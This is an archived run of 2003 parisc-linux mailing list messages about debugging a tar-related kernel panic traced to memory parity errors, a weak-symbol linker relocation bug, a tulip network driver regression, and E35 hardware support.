From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when extracting large tar files
Date: Tue, 7 Jan 2003 02:17:04 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20030107091704.GC4093@dsl2.external.hp.com>
References: <200301070054.h070rc5k047346@smtp.monmouth.com> <3DED9A660000447F@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622076 19422 80.91.229.3 (22 Nov 2014 02:07:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:56 +0000 (UTC)
Cc: "Vlad D. Markov" <markov@monmouth.com>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 02:17:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 141144829; Tue,  7 Jan 2003 02:17:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3DED9A660000447F@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17274

On Tue, Jan 07, 2003 at 08:23:37AM +0100, jsoe0708@tiscali.be wrote:
...
> >Did not want to send the file to the whole group.
> >
> You would :-)

joel is right. See FAQ #17.
http://www.parisc-linux.org/faq/index.html

> Trap 5 on CPU 0
>  IIR: 6ab60038    ISR: 00000000  IOR: 1d7dcf3c
> Trap 5 on CPU 0
>  IIR: 22643206    ISR: 00000000  IOR: 10309800
> Trap 5 on CPU 0
>  IIR: 22643206    ISR: 00000000  IOR: 10309800
> Trap 5 on CPU 0
>
> which say that is a trap 5 (ie a LPMC). So, may me am i wrong, but it seems
> that there is a hardware problem on this machine?

yes. LPMC is usually a recoverable memory parity error.
ISR/IOR is the virtual address that was accessed.
Since this is kernel space (ISR==0), I think you can just
drop the leading 1 for the physical address.

Try pulling half the memory and see if the trap goes away.
Or replace all the memory if you have spares.

grant


From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when extracting large tar files
Date: Tue, 7 Jan 2003 13:39:10 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <05456AF0-223D-11D7-950D-0030656F07A2@esiee.fr>
References: <20030107091704.GC4093@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622076 19425 80.91.229.3 (22 Nov 2014 02:07:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:56 +0000 (UTC)
Cc: jsoe0708@tiscali.be, "Vlad D. Markov" <markov@monmouth.com>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 05:39:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA1074829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 05:39:19 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id B601449D14; Tue,  7 Jan 2003 13:39:12 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id DEA2749BBC; Tue,  7 Jan 2003 13:39:10 +0100 (CET)
In-Reply-To: <20030107091704.GC4093@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17275

Well,

after having talked a bit with the 'pioneers' here at ESIEE, it appears 
that this tar problem is a long lasting one.

Matthieu Delahaye told me that since the very first days of pa/linux; 
this bug has existed, mostly happening on 'un-taring' files, obliging 
users to untar by small chunks of data.

FWIW, I experienced that bug too on the A500, had no time to chase it 
down but I will look at it soon.
It's near the top of my TODO list :)

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with weak symbols
Date: Tue, 07 Jan 2003 14:05:25 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <3E1AD095.FA5CF165@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622076 19428 80.91.229.3 (22 Nov 2014 02:07:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 06:05:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp02.web.de [217.72.192.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0893B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 06:05:44 -0700 (MST)
Original-Received: from c-180-204-119.n.dial.de.ignite.net ([62.180.204.119] helo=web.de)
	by smtp.web.de with asmtp (WEB.DE(Exim) 4.93 #1)
	id 18VtQI-0005Ui-00
	for parisc-linux@lists.parisc-linux.org; Tue, 07 Jan 2003 14:05:38 +0100
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17276

Hi,

I have a problem with weak symbols on parisc. If I use the following
small program, the result should be always (nil), but it isn=B4t:

> cat weak.c
#include <stdio.h>
#include <ctype.h>
 =

asm (".weak linux_bla");
asm (".weak linux_foo");
 =

extern const char * linux_bla;
extern const int linux_foo[];
 =

int
main ()
{
  printf("linux_bla: %p\n", &linux_bla);
  printf("linux_foo: %p\n", &linux_foo);
  return 0;
}

> ./weak
linux_bla: 0x205f0
linux_foo: (nil)

The main difference in compiling seems to be the different relocation
type for both symbols:

> readelf -r weak.o
 =

Relocation section '.rela.text' at offset 0x410 contains 10 entries:
  Offset    Info  Type            Symbol's Value  Symbol's Name         =

Addend
  00000010  00502 R_PARISC_DIR21L       00000000 =

=2ELC0                      + 0
  00000014  00506 R_PARISC_DIR14R       00000000 =

=2ELC0                      + 0
  00000018  00912 R_PARISC_DPREL21L     00000000 =

linux_bla                 + 0
  0000001c  00916 R_PARISC_DPREL14R     00000000 =

linux_bla                 + 0
  00000020  00c0c R_PARISC_PCREL17F     00000000 =

printf                    + 0
  00000028  00602 R_PARISC_DIR21L       00000010 =

=2ELC1                      + 0
  0000002c  00606 R_PARISC_DIR14R       00000010 =

=2ELC1                      + 0
  00000030  00a02 R_PARISC_DIR21L       00000000 =

linux_foo                 + 0
  00000034  00a06 R_PARISC_DIR14R       00000000 =

linux_foo                 + 0
  00000038  00c0c R_PARISC_PCREL17F     00000000 =

printf                    + 0

I am currently using gcc version 3.2.1, binutils version 2.13.90.0.16
20021126, glibc version 2.3.1, but I had this problem already with gcc
3.0.4 and all compilers inbetween. Is there a possibility to work around
this?


Berthold


From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Tue, 17 Dec 2002 18:42:02 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <3DED9B8900002122@ocpmta6.freegates.net>
References: <3DED9BBD000022D4@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622077 19430 80.91.229.3 (22 Nov 2014 02:07:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com,
	"Ed Schaller" <schallee@darkmist.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 09:14:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 892E04829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 09:14:13 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18VwMb-00056M-00; Tue, 07 Jan 2003 17:14:01 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 17 Dec 2002 18:42:02 +0100
In-Reply-To: <3DED9BBD000022D4@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17277

Hello Grant,
>
>>>
>>>I've looked a bit at the same problem on A500 with
>>>a regular (single port) HP tulip card.
>>>
>>>> In the following dmesg out takes for 2.4.20-pa13 and 2.4.19-32 (debi=
an),
>>>> it seems that the older kernel is finding the transceiver and
>>>> successfully auto-negotiating the link while the newer is not.
>>>
>>>yeah - same symptom that I saw.
>>>
>>>> Any ideas how to solve this? Any help would be greatly appreciated.
>>>
>>>I suspect it's a tulip driver bug.
>>>I haven't had a chance to diff the 2.4.19 vs 2.4.20 tulip driver.
>>>One idea might be to "forward port" the 2.4.19 drivers/net/tulip code
>>>into 2.4.20.
>>>
>>Same on B2k with add card.
>>Hmm I notice strange detail:
>>2.4.19 : lan heart bit on (even if interface not configure)
>>2.4.20 (& 21-pre1) : no lan heart bit on (interface configured or not)
>>
>>I will try to revert tulip driver and advise you.
>>
>Well I find some minutes to do this reverse and it works.
>Still have to find the bug ?
>
Hmm I suspecting a test in eeprom.c:
line 193: if (ee_data[27] =3D=3D 0 || ee_data[ee_data[27]] =3D=3D0) {

which i temporarely change by if (ee_data[27] =3D=3D 0) { (as i 2.4.19)
and it works but I have not enough doc to fix this pb.

May be Ryan Bradetich could help us?

Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with weak symbols
Date: Tue, 7 Jan 2003 12:47:53 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200301071747.h07HlrmN022946@hiauly1.hia.nrc.ca>
References: <3E1AD095.FA5CF165@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622077 19434 80.91.229.3 (22 Nov 2014 02:07:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: b.gunreben@web.de (b.gunreben)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 10:48:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74C854829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 10:48:00 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h07Hlrot022948;
	Tue, 7 Jan 2003 12:47:54 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h07HlrmN022946;
	Tue, 7 Jan 2003 12:47:53 -0500 (EST)
In-Reply-To: <3E1AD095.FA5CF165@web.de> from "b.gunreben" at Jan 7, 2003 02:05:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17278

> Hi,
> 
> I have a problem with weak symbols on parisc. If I use the following
> small program, the result should be always (nil), but it isnt:

> asm (".weak linux_bla");
> asm (".weak linux_foo");

Don't use asm's to weaken symbols.  Use GCC's attribute weak.  GCC
needs to know whether a symbol is weak or not.

> extern const char * linux_bla;
> extern const int linux_foo[];

> > ./weak
> linux_bla: 0x205f0
> linux_foo: (nil)
> 
> The main difference in compiling seems to be the different relocation
> type for both symbols:

What is printed in the first case is the value of the $dp register.
For some reason, $global$ is not being subtracted from the symbol value
(zero).  This is a linker bug, not a gcc bug.

We probably should be using DPREL relocations for linux_foo.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with weak symbols
Date: Tue, 7 Jan 2003 12:51:22 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200301071751.h07HpM90022966@hiauly1.hia.nrc.ca>
References: <200301071747.h07HlrmN022946@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622077 19435 80.91.229.3 (22 Nov 2014 02:07:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:57 +0000 (UTC)
Cc: b.gunreben@web.de, parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 10:51:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80085483B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 10:51:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h07HpNot022967;
	Tue, 7 Jan 2003 12:51:23 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h07HpM90022966;
	Tue, 7 Jan 2003 12:51:22 -0500 (EST)
In-Reply-To: <200301071747.h07HlrmN022946@hiauly1.hia.nrc.ca> from "John David Anglin" at Jan 7, 2003 12:47:53 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17279

> > > ./weak
> > linux_bla: 0x205f0
> > linux_foo: (nil)

Try "-fPIC".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Gevaerts <frank@gevaerts.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E35 support
Date: Tue, 7 Jan 2003 21:02:48 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20030107200248.GA17555@gevaerts.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622078 19436 80.91.229.3 (22 Nov 2014 02:07:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 13:03:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.xs4all.be (smtp1.xs4all.be [195.144.64.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A5F44829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 13:03:14 -0700 (MST)
Original-Received: from vonk (stat92-11.adsl.xs4all.be [195.144.92.11])
	by smtp1.xs4all.be (8.12.7/8.12.1) with ESMTP id h07K36vr023517
	for <parisc-linux@lists.parisc-linux.org>; Tue, 7 Jan 2003 21:03:06 +0100
Original-Received: from fg by vonk with local (Exim 3.35 #1 (Debian))
	id 18Vzw1-0004Zr-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 07 Jan 2003 21:02:49 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-flash-is-evil: do not use it
X-virus: If this mail contains a virus, feel free to send one back
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17280

Hi,

How far is the E35 support? I have two of these running HP-UX 9. 
Is there any (rough) timeline of when SCSI will be supported ? 
I also have HP-28640-80001 ethernet cards and 28655-60001 SCSI/Parallel
port cards. Will these ever be supported ?

Frank


From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when extracting large tar files
Date: Tue, 7 Jan 2003 15:13:19 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20030107201319.GA20757@systemhalted>
References: <20030107091704.GC4093@dsl2.external.hp.com> <05456AF0-223D-11D7-950D-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622078 19441 80.91.229.3 (22 Nov 2014 02:07:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:58 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	jsoe0708@tiscali.be, "Vlad D. Markov" <markov@monmouth.com>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 13:13:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2CBB4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 13:13:43 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18W06B-0005P4-00; Tue, 07 Jan 2003 15:13:19 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Thibaut VARENE <varenet@esiee.fr>,
	Grant Grundler <grundler@dsl2.external.hp.com>, jsoe0708@tiscali.be,
	"Vlad D. Markov" <markov@monmouth.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <05456AF0-223D-11D7-950D-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17281

> Matthieu Delahaye told me that since the very first days of pa/linux; 
> this bug has existed, mostly happening on 'un-taring' files, obliging 
> users to untar by small chunks of data.

And hardware errors have existed since the beggining of time ;)
 
> FWIW, I experienced that bug too on the A500, had no time to chase it 
> down but I will look at it soon.

How big is the file? I routinely tar/untar _very_ large source archives
on my A500 and I see no problems. 

c.



From - Thu Nov 08 21:26:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with weak symbols
Date: Tue, 7 Jan 2003 15:49:15 -0500 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <200301072049.h07KnF1F023893@hiauly1.hia.nrc.ca>
References: <3E1AD095.FA5CF165@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622078 19444 80.91.229.3 (22 Nov 2014 02:07:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: b.gunreben@web.de (b.gunreben)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  7 13:49:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 611BE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Jan 2003 13:49:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h07KnGot023894;
	Tue, 7 Jan 2003 15:49:16 -0500 (EST)
